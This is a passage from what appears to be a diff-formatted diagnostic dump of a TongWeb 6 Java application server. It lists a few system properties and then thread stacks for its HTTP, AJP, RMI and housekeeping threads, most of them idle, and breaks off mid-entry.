+com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +java.security.auth.login.config: /opt/tweb6/conf/security/login.config +tongweb.version: 6.0.1.0 +openejb.base: /opt/tweb6 +isServerMode: true +openejb.jsf.skip: false +file.encoding: UTF-8 +com.tongweb.web.thor.startup.TldConfig.jarsToSkip: +noBanner: true +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"ajp-bio-8009-exec-9" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-3" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-0" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@d33e556 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"NioBlockingSelector.BlockPoller-2" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8443-ClientPoller-1" #100 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-Acceptor-0" #88 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:791) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:166) + at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767) + at com.tongweb.web.thor.startup.Tomee.start(Tomee.java:561) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:335) + at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:478) + +"http-nio-5100-exec-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-3" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-6" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-1" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@79b3f4d7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"NioBlockingSelector.BlockPoller-4" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"com.tongweb.tongejb.pool.scheduler.1" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6bb8b7e2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-3" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-8" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-9" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #13 [WAITING] on java.lang.ref.ReferenceQueue$Lock@281e85db + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-0" #73 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-10" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-Acceptor-0" #112 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60) + at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:216) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-7" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-ClientPoller-1" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-6" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-ClientPoller-0" #86 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-2" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-3" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-4" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-8" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-6" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-Acceptor-0" #62 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:791) + at java.lang.Thread.run(Thread.java:750) + +"TWNT-startStop-1" #48 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5e150162 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-ClientPoller-1" #87 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150) + at java.lang.Thread.run(Thread.java:750) + +"persistence" #118 daemon [TIMED_WAITING] on 